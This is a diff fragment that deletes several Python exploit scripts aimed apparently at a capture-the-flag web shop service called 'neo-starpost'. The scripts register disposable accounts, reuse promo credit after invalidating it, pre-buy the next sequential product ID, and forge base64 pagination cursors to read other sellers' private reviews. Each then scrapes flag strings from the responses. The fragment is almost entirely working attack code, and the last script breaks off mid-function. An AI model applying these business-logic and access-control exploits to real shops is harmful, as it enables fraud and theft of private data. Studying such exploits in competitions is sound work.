class NoRedirects(HTTPRedirectHandler):
|
||||
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||
return None
|
||||
|
||||
|
||||
OPENER = build_opener(ProxyHandler({}), NoRedirects())
|
||||
|
||||
|
||||
def build_target(raw_target: str) -> str:
|
||||
raw = raw_target.strip()
|
||||
if not raw:
|
||||
raise ValueError("empty target")
|
||||
if "://" not in raw:
|
||||
raw = f"http://{f'[{raw}]' if raw.count(':') > 1 and not raw.startswith('[') else raw}"
|
||||
parsed = urlsplit(raw)
|
||||
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||
raise ValueError("expected HTTP(S) target")
|
||||
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||
raise ValueError("target must contain only a host and optional port")
|
||||
if parsed.query or parsed.fragment:
|
||||
raise ValueError("target must not contain query or fragment")
|
||||
port = parsed.port or SERVICE_PORT
|
||||
if not 1 <= port <= 65535:
|
||||
raise ValueError("invalid target port")
|
||||
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
||||
|
||||
|
||||
def request_json(
|
||||
target: str,
|
||||
path: str,
|
||||
deadline: float,
|
||||
*,
|
||||
method: str = "GET",
|
||||
payload: dict | None = None,
|
||||
cookie: str | None = None,
|
||||
) -> tuple[int, object, str | None]:
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None
|
||||
headers = {"Accept": "application/json", "User-Agent": "neo-starpost-prebuy/1.0"}
|
||||
if body is not None:
|
||||
headers["Content-Type"] = "application/json"
|
||||
if cookie:
|
||||
headers["Cookie"] = f"session={cookie}"
|
||||
request = Request(target + path, data=body, headers=headers, method=method)
|
||||
try:
|
||||
response = OPENER.open(request, timeout=min(REQUEST_TIMEOUT, remaining))
|
||||
except HTTPError as exc:
|
||||
response = exc
|
||||
with response:
|
||||
raw = response.read(MAX_RESPONSE + 1)
|
||||
if len(raw) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
jar = SimpleCookie()
|
||||
for header in response.headers.get_all("Set-Cookie", []):
|
||||
jar.load(header)
|
||||
session_cookie = jar["session"].value if "session" in jar else None
|
||||
try:
|
||||
decoded = json.loads(raw)
|
||||
except (UnicodeDecodeError, json.JSONDecodeError):
|
||||
raise ValueError("invalid JSON response") from None
|
||||
return response.status, decoded, session_cookie
|
||||
|
||||
|
||||
def state_paths(target: str) -> tuple[Path, Path]:
|
||||
key = hashlib.sha256(target.encode()).hexdigest()[:20]
|
||||
return STATE_DIR / f"{key}.json", STATE_DIR / f"{key}.lock"
|
||||
|
||||
|
||||
def load_state(path: Path) -> dict:
|
||||
try:
|
||||
state = json.loads(path.read_text())
|
||||
except (OSError, UnicodeDecodeError, json.JSONDecodeError):
|
||||
return {}
|
||||
if not isinstance(state, dict):
|
||||
return {}
|
||||
if state.get("version") != STATE_VERSION:
|
||||
return {}
|
||||
cookie, promo = state.get("cookie"), state.get("promo")
|
||||
next_id, pending_order = state.get("next_id"), state.get("pending_order")
|
||||
pending_cookie = state.get("pending_cookie")
|
||||
return {
|
||||
"version": STATE_VERSION,
|
||||
"cookie": cookie if isinstance(cookie, str) else None,
|
||||
"promo": promo if isinstance(promo, str) else None,
|
||||
"ready": state.get("ready") is True,
|
||||
"next_id": next_id if isinstance(next_id, int) and next_id > 0 else None,
|
||||
"pending_order": pending_order if isinstance(pending_order, int) and pending_order > 0 else None,
|
||||
"pending_cookie": pending_cookie if isinstance(pending_cookie, str) else None,
|
||||
}
|
||||
|
||||
|
||||
def save_state(path: Path, state: dict) -> None:
|
||||
STATE_DIR.mkdir(mode=0o700, parents=True, exist_ok=True)
|
||||
temporary = path.with_suffix(".tmp")
|
||||
descriptor = os.open(temporary, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
|
||||
try:
|
||||
with os.fdopen(descriptor, "w") as output:
|
||||
json.dump(state, output, separators=(",", ":"))
|
||||
os.replace(temporary, path)
|
||||
finally:
|
||||
try:
|
||||
temporary.unlink()
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
|
||||
|
||||
def prepare_buyer_step(target: str, state: dict, deadline: float) -> str:
|
||||
if not state.get("cookie"):
|
||||
marker = secrets.token_hex(8)
|
||||
status, _, cookie = request_json(
|
||||
target,
|
||||
"/api/register",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={
|
||||
"username": f"prebuy-{marker}",
|
||||
"password": secrets.token_urlsafe(18),
|
||||
"role": "buyer",
|
||||
},
|
||||
)
|
||||
if status != 201 or not cookie:
|
||||
raise ValueError(f"buyer registration returned HTTP {status}")
|
||||
state.update(cookie=cookie, promo=None, ready=False)
|
||||
return "registered"
|
||||
|
||||
if not state.get("promo"):
|
||||
status, account, _ = request_json(target, "/api/account", deadline, cookie=state["cookie"])
|
||||
if status != 200 or not isinstance(account, dict):
|
||||
raise ValueError(f"account returned HTTP {status}")
|
||||
promo = account.get("promo")
|
||||
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
|
||||
state.update(cookie=None, promo=None, ready=False)
|
||||
return "buyer-reset"
|
||||
state["promo"] = promo["code"]
|
||||
return "promo-loaded"
|
||||
|
||||
status, credited, _ = request_json(
|
||||
target,
|
||||
"/api/promo/credit",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": state["promo"]},
|
||||
cookie=state["cookie"],
|
||||
)
|
||||
if status != 200 or not isinstance(credited, dict):
|
||||
state.update(cookie=None, promo=None, ready=False)
|
||||
return f"credit-http-{status}"
|
||||
request_json(
|
||||
target,
|
||||
"/api/promo/invalidate",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={"code": state["promo"]},
|
||||
cookie=state["cookie"],
|
||||
)
|
||||
state["ready"] = True
|
||||
return "prepared"
|
||||
|
||||
|
||||
def sequence_next_id(target: str, deadline: float) -> int | None:
|
||||
status, products, _ = request_json(target, "/api/products", deadline)
|
||||
if status != 200 or not isinstance(products, list):
|
||||
raise ValueError(f"products returned HTTP {status}")
|
||||
product_ids = sorted(
|
||||
{
|
||||
item["id"]
|
||||
for item in products
|
||||
if isinstance(item, dict)
|
||||
and isinstance(item.get("id"), int)
|
||||
and not isinstance(item.get("id"), bool)
|
||||
and 0 < item["id"] < 9_223_372_036_854_775_807
|
||||
},
|
||||
reverse=True,
|
||||
)
|
||||
if len(product_ids) < 4:
|
||||
return None
|
||||
gaps = [left - right for left, right in zip(product_ids[:8], product_ids[1:8])]
|
||||
positive = [gap for gap in gaps if gap > 0]
|
||||
if len(positive) < 3 or statistics.median(positive) > MAX_SEQUENCE_GAP:
|
||||
return None
|
||||
return product_ids[0] + 1
|
||||
|
||||
|
||||
def collect_order(target: str, order_id: int, cookie: str, deadline: float) -> tuple[set[str], bool]:
|
||||
status, orders, _ = request_json(target, "/api/orders", deadline, cookie=cookie)
|
||||
if status != 200 or not isinstance(orders, list):
|
||||
return set(), False
|
||||
order = next(
|
||||
(
|
||||
item
|
||||
for item in orders
|
||||
if isinstance(item, dict)
|
||||
and item.get("id") == order_id
|
||||
and item.get("status") == "delivered"
|
||||
),
|
||||
None,
|
||||
)
|
||||
if order is None:
|
||||
return set(), False
|
||||
cargo = order.get("cargo")
|
||||
flags = set(FLAG_PATTERN.findall(cargo)) if isinstance(cargo, str) else set()
|
||||
return flags, True
|
||||
|
||||
|
||||
def run_exploit(raw_target: str) -> tuple[list[str], str]:
|
||||
target = build_target(raw_target)
|
||||
deadline = time.monotonic() + RUN_TIMEOUT
|
||||
state_path, lock_path = state_paths(target)
|
||||
STATE_DIR.mkdir(mode=0o700, parents=True, exist_ok=True)
|
||||
with lock_path.open("a+") as lock:
|
||||
os.chmod(lock_path, 0o600)
|
||||
try:
|
||||
fcntl.flock(lock, fcntl.LOCK_EX | fcntl.LOCK_NB)
|
||||
except BlockingIOError:
|
||||
return [], "busy"
|
||||
state = load_state(state_path) or {"version": STATE_VERSION}
|
||||
if state.get("pending_order") and state.get("pending_cookie"):
|
||||
flags, delivered = collect_order(
|
||||
target,
|
||||
state["pending_order"],
|
||||
state["pending_cookie"],
|
||||
deadline,
|
||||
)
|
||||
if delivered:
|
||||
state.update(pending_order=None, pending_cookie=None)
|
||||
save_state(state_path, state)
|
||||
return sorted(flags), "collected"
|
||||
return [], "pending"
|
||||
|
||||
if not state.get("next_id"):
|
||||
state["next_id"] = sequence_next_id(target, deadline)
|
||||
if not state["next_id"]:
|
||||
return [], "non-sequential"
|
||||
save_state(state_path, state)
|
||||
return [], "indexed"
|
||||
if not state.get("ready"):
|
||||
result = prepare_buyer_step(target, state, deadline)
|
||||
save_state(state_path, state)
|
||||
return [], result
|
||||
|
||||
while deadline - time.monotonic() > 0.25:
|
||||
status, order, _ = request_json(
|
||||
target,
|
||||
f"/api/products/{state['next_id']}/buy",
|
||||
deadline,
|
||||
method="POST",
|
||||
payload={},
|
||||
cookie=state["cookie"],
|
||||
)
|
||||
if status != 404:
|
||||
break
|
||||
time.sleep(min(PREBUY_INTERVAL, max(0.0, deadline - time.monotonic() - 0.25)))
|
||||
else:
|
||||
return [], "waiting"
|
||||
if status != 201 or not isinstance(order, dict) or not isinstance(order.get("id"), int):
|
||||
state["next_id"] = None
|
||||
if status in {401, 403}:
|
||||
state.update(cookie=None, promo=None, ready=False)
|
||||
save_state(state_path, state)
|
||||
return [], f"buy-http-{status}"
|
||||
|
||||
state["pending_order"] = order["id"]
|
||||
state["pending_cookie"] = state["cookie"]
|
||||
state["next_id"] += 1
|
||||
state.update(cookie=None, promo=None, ready=False)
|
||||
save_state(state_path, state)
|
||||
return [], "ordered"
|
||||
|
||||
|
||||
def main() -> int:
|
||||
if len(sys.argv) != 2:
|
||||
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
||||
return 2
|
||||
|
||||
def hard_timeout(_signum, _frame):
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
|
||||
previous_handler = signal.signal(signal.SIGALRM, hard_timeout)
|
||||
signal.setitimer(signal.ITIMER_REAL, RUN_TIMEOUT + 0.2)
|
||||
try:
|
||||
flags, result = run_exploit(sys.argv[1])
|
||||
except (OSError, URLError, TimeoutError, ValueError, OverflowError) as exc:
|
||||
print(f"request failed: {exc}", file=sys.stderr)
|
||||
return 1
|
||||
finally:
|
||||
signal.setitimer(signal.ITIMER_REAL, 0)
|
||||
signal.signal(signal.SIGALRM, previous_handler)
|
||||
print(f"result={result} flags={len(flags)}", file=sys.stderr)
|
||||
if flags:
|
||||
print("\n".join(flags), flush=True)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -1,216 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import base64
|
||||
import concurrent.futures
|
||||
import json
|
||||
import re
|
||||
import secrets
|
||||
import sys
|
||||
import time
|
||||
from http.client import HTTPException
|
||||
from http.cookies import SimpleCookie
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import urlsplit, urlunsplit
|
||||
from urllib.request import HTTPRedirectHandler, Request, build_opener
|
||||
|
||||
|
||||
TARGET_SCHEME = "http"
|
||||
SERVICE_PORT = 8090
|
||||
REQUEST_TIMEOUT = 1.0
|
||||
RUN_TIMEOUT = 8.5
|
||||
MAX_RESPONSE = 32 * 1024
|
||||
RECENT_USER_WINDOW = 20
|
||||
MAX_WORKERS = 4
|
||||
PAGE_SIZE = 3
|
||||
FIRST_REVIEW_ID = 1_000_000_000
|
||||
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
|
||||
|
||||
|
||||
class NoRedirects(HTTPRedirectHandler):
|
||||
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||
return None
|
||||
|
||||
|
||||
def build_target(target: str) -> str:
|
||||
raw = target.strip()
|
||||
if not raw:
|
||||
raise ValueError("empty target")
|
||||
if "://" not in raw:
|
||||
authority = f"[{raw}]" if raw.count(":") > 1 and not raw.startswith("[") else raw
|
||||
raw = f"{TARGET_SCHEME}://{authority}"
|
||||
parsed = urlsplit(raw)
|
||||
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||
raise ValueError("expected an HTTP target")
|
||||
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||
raise ValueError("target must not include credentials or a path")
|
||||
if parsed.query or parsed.fragment:
|
||||
raise ValueError("target must not include query or fragment")
|
||||
port = parsed.port
|
||||
if port is None:
|
||||
port = 443 if parsed.scheme == "https" else SERVICE_PORT
|
||||
if not 1 <= port <= 65535:
|
||||
raise ValueError("invalid target port")
|
||||
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
||||
|
||||
|
||||
def request(
|
||||
target: str,
|
||||
method: str,
|
||||
path: str,
|
||||
deadline: float,
|
||||
payload: dict | None = None,
|
||||
cookie: str | None = None,
|
||||
) -> tuple[int, list[tuple[str, str]], bytes]:
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None
|
||||
headers = {"Accept": "application/json", "User-Agent": "neo-starpost-reviews/1.0"}
|
||||
if body is not None:
|
||||
headers["Content-Type"] = "application/json"
|
||||
if cookie:
|
||||
headers["Cookie"] = f"session={cookie}"
|
||||
req = Request(target + path, data=body, headers=headers, method=method)
|
||||
opener = build_opener(NoRedirects())
|
||||
try:
|
||||
with opener.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
|
||||
data = response.read(MAX_RESPONSE + 1)
|
||||
if len(data) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
return response.status, list(response.headers.items()), data
|
||||
except HTTPError as exc:
|
||||
data = exc.read(MAX_RESPONSE + 1)
|
||||
if len(data) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
return exc.code, list(exc.headers.items()), data
|
||||
|
||||
|
||||
def register_seller(target: str, deadline: float) -> tuple[int, str]:
|
||||
marker = secrets.token_hex(8)
|
||||
status, headers, raw = request(
|
||||
target,
|
||||
"POST",
|
||||
"/api/register",
|
||||
deadline,
|
||||
payload={
|
||||
"username": f"reviews-{marker}",
|
||||
"password": secrets.token_urlsafe(18),
|
||||
"role": "seller",
|
||||
"company_name": f"reviews-{marker}",
|
||||
"tax_id": marker,
|
||||
"signature": "synthetic-probe",
|
||||
},
|
||||
)
|
||||
if status != 201:
|
||||
raise ValueError(f"registration returned HTTP {status}")
|
||||
response = json.loads(raw)
|
||||
if not isinstance(response, dict) or isinstance(response.get("id"), bool):
|
||||
raise ValueError("registration returned an invalid user id")
|
||||
try:
|
||||
user_id = int(response["id"])
|
||||
except (KeyError, TypeError, ValueError) as exc:
|
||||
raise ValueError("registration returned an invalid user id") from exc
|
||||
if user_id < 1:
|
||||
raise ValueError("registration returned an invalid user id")
|
||||
cookies = SimpleCookie()
|
||||
for name, value in headers:
|
||||
if name.lower() == "set-cookie":
|
||||
cookies.load(value)
|
||||
if "session" not in cookies:
|
||||
raise ValueError("registration did not return a session")
|
||||
return user_id, cookies["session"].value
|
||||
|
||||
|
||||
def make_cursor(seller_id: int, last_id: int) -> str:
|
||||
state = {
|
||||
"seller_id": seller_id,
|
||||
"is_private": True,
|
||||
"last_id": last_id,
|
||||
"v": 2,
|
||||
}
|
||||
raw = json.dumps(state, separators=(",", ":")).encode()
|
||||
return base64.urlsafe_b64encode(raw).decode().rstrip("=")
|
||||
|
||||
|
||||
def collect_reviews(target: str, seller_id: int, cookie: str, deadline: float) -> tuple[set[bytes], int, bool]:
|
||||
flags: set[bytes] = set()
|
||||
try:
|
||||
cursor = make_cursor(seller_id, FIRST_REVIEW_ID)
|
||||
status, _, raw = request(
|
||||
target,
|
||||
"GET",
|
||||
f"/api/seller/reviews?limit={PAGE_SIZE}&cursor={cursor}",
|
||||
deadline,
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 200:
|
||||
return flags, 1, status != 400
|
||||
response = json.loads(raw)
|
||||
rows = response.get("reviews") if isinstance(response, dict) else None
|
||||
if not isinstance(rows, list):
|
||||
return flags, 1, True
|
||||
for row in rows:
|
||||
if not isinstance(row, dict) or row.get("is_private") is not True:
|
||||
continue
|
||||
review_body = row.get("body")
|
||||
if isinstance(review_body, str):
|
||||
flags.update(FLAG_PATTERN.findall(review_body.encode()))
|
||||
except (OSError, TimeoutError, URLError, HTTPException, ValueError, json.JSONDecodeError):
|
||||
return flags, 1, True
|
||||
return flags, 1, False
|
||||
|
||||
|
||||
def run_exploit(raw_target: str, emit=None) -> tuple[list[str], int, int, int]:
|
||||
target = build_target(raw_target)
|
||||
deadline = time.monotonic() + RUN_TIMEOUT
|
||||
newest, cookie = register_seller(target, deadline)
|
||||
oldest = max(1, newest - RECENT_USER_WINDOW)
|
||||
seller_ids = range(newest - 1, oldest - 1, -1)
|
||||
flags: set[str] = set()
|
||||
checked = 0
|
||||
requests_made = 0
|
||||
errors = 0
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||
futures = [
|
||||
pool.submit(collect_reviews, target, seller_id, cookie, deadline)
|
||||
for seller_id in seller_ids
|
||||
]
|
||||
for future in concurrent.futures.as_completed(futures):
|
||||
found, request_count, failed = future.result()
|
||||
requests_made += request_count
|
||||
errors += int(failed)
|
||||
checked += 1
|
||||
for candidate in sorted(flag.decode("ascii") for flag in found):
|
||||
if candidate in flags:
|
||||
continue
|
||||
flags.add(candidate)
|
||||
if emit is not None:
|
||||
emit(candidate)
|
||||
if checked and errors == checked:
|
||||
raise OSError("all review requests failed")
|
||||
return sorted(flags), checked, requests_made, errors
|
||||
|
||||
|
||||
def main() -> int:
|
||||
if len(sys.argv) != 2:
|
||||
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
||||
return 2
|
||||
try:
|
||||
flags, checked, requests_made, errors = run_exploit(
|
||||
sys.argv[1], lambda candidate: print(candidate, flush=True)
|
||||
)
|
||||
except (OSError, TimeoutError, URLError, HTTPException, ValueError, json.JSONDecodeError) as exc:
|
||||
print(f"request failed: {exc}", file=sys.stderr)
|
||||
return 1
|
||||
print(
|
||||
f"checked={checked} requests={requests_made} request_errors={errors} flags={len(flags)}",
|
||||
file=sys.stderr,
|
||||
)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -1,253 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import re
|
||||
import secrets
|
||||
import sys
|
||||
import time
|
||||
from http.client import HTTPException
|
||||
from http.cookies import SimpleCookie
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import urlsplit, urlunsplit
|
||||
from urllib.request import HTTPRedirectHandler, Request, build_opener
|
||||
|
||||
|
||||
TARGET_SCHEME = "http"
|
||||
SERVICE_PORT = 8090
|
||||
REQUEST_TIMEOUT = 1.5
|
||||
RUN_TIMEOUT = 8.0
|
||||
MAX_RESPONSE = 512 * 1024
|
||||
MAX_PRICE = 200
|
||||
DELIVERY_POLLS = 4
|
||||
POLL_INTERVAL = 0.3
|
||||
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
|
||||
|
||||
|
||||
class NoRedirects(HTTPRedirectHandler):
|
||||
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||
return None
|
||||
|
||||
|
||||
def build_target(target: str) -> str:
|
||||
raw = target.strip()
|
||||
if not raw:
|
||||
raise ValueError("empty target")
|
||||
if "://" not in raw:
|
||||
authority = f"[{raw}]" if raw.count(":") > 1 and not raw.startswith("[") else raw
|
||||
raw = f"{TARGET_SCHEME}://{authority}"
|
||||
parsed = urlsplit(raw)
|
||||
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||
raise ValueError("expected an HTTP target")
|
||||
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||
raise ValueError("target must not include credentials or a path")
|
||||
if parsed.query or parsed.fragment:
|
||||
raise ValueError("target must not include query or fragment")
|
||||
port = parsed.port
|
||||
if port is None:
|
||||
port = 443 if parsed.scheme == "https" else SERVICE_PORT
|
||||
if not 1 <= port <= 65535:
|
||||
raise ValueError("invalid target port")
|
||||
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
||||
|
||||
|
||||
def request(
|
||||
target: str,
|
||||
method: str,
|
||||
path: str,
|
||||
deadline: float,
|
||||
payload: dict | None = None,
|
||||
cookie: str | None = None,
|
||||
) -> tuple[int, list[tuple[str, str]], bytes]:
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None
|
||||
headers = {"Accept": "application/json", "User-Agent": "neo-starpost-signup/1.0"}
|
||||
if body is not None:
|
||||
headers["Content-Type"] = "application/json"
|
||||
if cookie:
|
||||
headers["Cookie"] = f"session={cookie}"
|
||||
req = Request(target + path, data=body, headers=headers, method=method)
|
||||
opener = build_opener(NoRedirects())
|
||||
try:
|
||||
with opener.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
|
||||
data = response.read(MAX_RESPONSE + 1)
|
||||
if len(data) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
return response.status, list(response.headers.items()), data
|
||||
except HTTPError as exc:
|
||||
data = exc.read(MAX_RESPONSE + 1)
|
||||
if len(data) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
return exc.code, list(exc.headers.items()), data
|
||||
|
||||
|
||||
def get_json(
|
||||
target: str,
|
||||
method: str,
|
||||
path: str,
|
||||
deadline: float,
|
||||
payload: dict | None = None,
|
||||
cookie: str | None = None,
|
||||
) -> tuple[int, list[tuple[str, str]], object, bytes]:
|
||||
status, headers, raw = request(target, method, path, deadline, payload, cookie)
|
||||
try:
|
||||
decoded = json.loads(raw)
|
||||
except json.JSONDecodeError as exc:
|
||||
raise ValueError(f"{path} returned invalid JSON") from exc
|
||||
return status, headers, decoded, raw
|
||||
|
||||
|
||||
def select_product(target: str, deadline: float) -> tuple[int, int] | None:
|
||||
status, _, response, _ = get_json(target, "GET", "/api/products", deadline)
|
||||
if status != 200 or not isinstance(response, list):
|
||||
raise ValueError(f"products endpoint returned HTTP {status}")
|
||||
for product in response:
|
||||
if not isinstance(product, dict):
|
||||
continue
|
||||
try:
|
||||
product_id = int(product["id"])
|
||||
price = int(product["price"])
|
||||
except (KeyError, TypeError, ValueError):
|
||||
continue
|
||||
if isinstance(product.get("id"), bool) or isinstance(product.get("price"), bool):
|
||||
continue
|
||||
if product_id > 0 and 1 <= price <= MAX_PRICE:
|
||||
return product_id, price
|
||||
return None
|
||||
|
||||
|
||||
def register_buyer(target: str, deadline: float) -> str:
|
||||
marker = secrets.token_hex(8)
|
||||
status, headers, _, _ = get_json(
|
||||
target,
|
||||
"POST",
|
||||
"/api/register",
|
||||
deadline,
|
||||
payload={
|
||||
"username": f"signup-{marker}",
|
||||
"password": secrets.token_urlsafe(18),
|
||||
"role": "buyer",
|
||||
},
|
||||
)
|
||||
if status != 201:
|
||||
raise ValueError(f"registration returned HTTP {status}")
|
||||
cookies = SimpleCookie()
|
||||
for name, value in headers:
|
||||
if name.lower() == "set-cookie":
|
||||
cookies.load(value)
|
||||
if "session" not in cookies:
|
||||
raise ValueError("registration did not return a session")
|
||||
return cookies["session"].value
|
||||
|
||||
|
||||
def obtain_credit(target: str, cookie: str, deadline: float) -> None:
|
||||
status, _, response, _ = get_json(target, "GET", "/api/account", deadline, cookie=cookie)
|
||||
if status != 200 or not isinstance(response, dict):
|
||||
raise ValueError(f"account endpoint returned HTTP {status}")
|
||||
promo = response.get("promo")
|
||||
code = promo.get("code") if isinstance(promo, dict) else None
|
||||
if not isinstance(code, str) or not code:
|
||||
raise ValueError("promo code missing")
|
||||
status, _, _, _ = get_json(
|
||||
target,
|
||||
"POST",
|
||||
"/api/promo/credit",
|
||||
deadline,
|
||||
payload={"code": code},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 200:
|
||||
raise ValueError(f"promo endpoint returned HTTP {status}")
|
||||
status, _, _, _ = get_json(
|
||||
target,
|
||||
"POST",
|
||||
"/api/promo/invalidate",
|
||||
deadline,
|
||||
payload={"code": code},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 200:
|
||||
raise ValueError(f"promo invalidation returned HTTP {status}")
|
||||
|
||||
|
||||
def buy_product(target: str, product_id: int, cookie: str, deadline: float) -> int:
|
||||
status, _, response, _ = get_json(
|
||||
target,
|
||||
"POST",
|
||||
f"/api/products/{product_id}/buy",
|
||||
deadline,
|
||||
payload={},
|
||||
cookie=cookie,
|
||||
)
|
||||
if status != 201 or not isinstance(response, dict):
|
||||
raise ValueError(f"purchase endpoint returned HTTP {status}")
|
||||
try:
|
||||
order_id = int(response["id"])
|
||||
except (KeyError, TypeError, ValueError) as exc:
|
||||
raise ValueError("purchase returned an invalid order id") from exc
|
||||
return order_id
|
||||
|
||||
|
||||
def collect_order(target: str, order_id: int, cookie: str, deadline: float) -> set[bytes]:
|
||||
for _ in range(DELIVERY_POLLS):
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
break
|
||||
time.sleep(min(POLL_INTERVAL, remaining))
|
||||
try:
|
||||
status, _, response, _ = get_json(target, "GET", "/api/orders", deadline, cookie=cookie)
|
||||
except (OSError, TimeoutError, URLError, HTTPException, ValueError):
|
||||
continue
|
||||
if status != 200 or not isinstance(response, list):
|
||||
continue
|
||||
for order in response:
|
||||
if not isinstance(order, dict):
|
||||
continue
|
||||
try:
|
||||
current_id = int(order["id"])
|
||||
except (KeyError, TypeError, ValueError):
|
||||
continue
|
||||
cargo = order.get("cargo")
|
||||
if current_id == order_id and order.get("status") == "delivered" and isinstance(cargo, str):
|
||||
return set(FLAG_PATTERN.findall(cargo.encode()))
|
||||
return set()
|
||||
|
||||
|
||||
def run_exploit(raw_target: str) -> tuple[list[str], int | None, int | None]:
|
||||
target = build_target(raw_target)
|
||||
deadline = time.monotonic() + RUN_TIMEOUT
|
||||
selected = select_product(target, deadline)
|
||||
if selected is None:
|
||||
return [], None, None
|
||||
product_id, price = selected
|
||||
cookie = register_buyer(target, deadline)
|
||||
obtain_credit(target, cookie, deadline)
|
||||
order_id = buy_product(target, product_id, cookie, deadline)
|
||||
flags = sorted(flag.decode("ascii") for flag in collect_order(target, order_id, cookie, deadline))
|
||||
return flags, product_id, price
|
||||
|
||||
|
||||
def main() -> int:
|
||||
if len(sys.argv) != 2:
|
||||
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
||||
return 2
|
||||
try:
|
||||
flags, product_id, price = run_exploit(sys.argv[1])
|
||||
except (OSError, TimeoutError, URLError, HTTPException, ValueError, json.JSONDecodeError) as exc:
|
||||
print(f"request failed: {exc}", file=sys.stderr)
|
||||
return 1
|
||||
if product_id is None:
|
||||
print("no active product within the 200-credit signup budget", file=sys.stderr)
|
||||
return 0
|
||||
for candidate in flags:
|
||||
print(candidate, flush=True)
|
||||
print(f"product={product_id} price={price} flags={len(flags)}", file=sys.stderr)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -1,239 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import concurrent.futures
|
||||
import json
|
||||
import re
|
||||
import secrets
|
||||
import sys
|
||||
import time
|
||||
from http.cookies import SimpleCookie
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import urlsplit, urlunsplit
|
||||
from urllib.request import HTTPRedirectHandler, Request, build_opener
|
||||
|
||||
TARGET_SCHEME = "http"
|
||||
SERVICE_PORT = 8090
|
||||
REQUEST_TIMEOUT = 1.5
|
||||
TOTAL_TIMEOUT = 8.5
|
||||
MAX_RESPONSE = 512 * 1024
|
||||
MAX_PRODUCTS = 5
|
||||
MAX_WORKERS = 8
|
||||
GET_RETRIES = 1
|
||||
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
|
||||
CALLBACK_TOKEN = "starpost-warehouse-callback-token"
|
||||
|
||||
|
||||
class NoRedirects(HTTPRedirectHandler):
|
||||
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||
return None
|
||||
|
||||
|
||||
def build_base_url(target: str) -> str:
|
||||
raw = target.strip()
|
||||
if not raw:
|
||||
raise ValueError("empty target")
|
||||
if "://" not in raw:
|
||||
authority = f"[{raw}]" if raw.count(":") > 1 and not raw.startswith("[") else raw
|
||||
raw = f"{TARGET_SCHEME}://{authority}"
|
||||
parsed = urlsplit(raw)
|
||||
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||
raise ValueError("expected an HTTP target")
|
||||
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||
raise ValueError("target must not include credentials or a path")
|
||||
if parsed.query or parsed.fragment:
|
||||
raise ValueError("target must not include query or fragment")
|
||||
port = parsed.port or (443 if parsed.scheme == "https" else SERVICE_PORT)
|
||||
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
||||
|
||||
|
||||
def request(
|
||||
base: str,
|
||||
path: str,
|
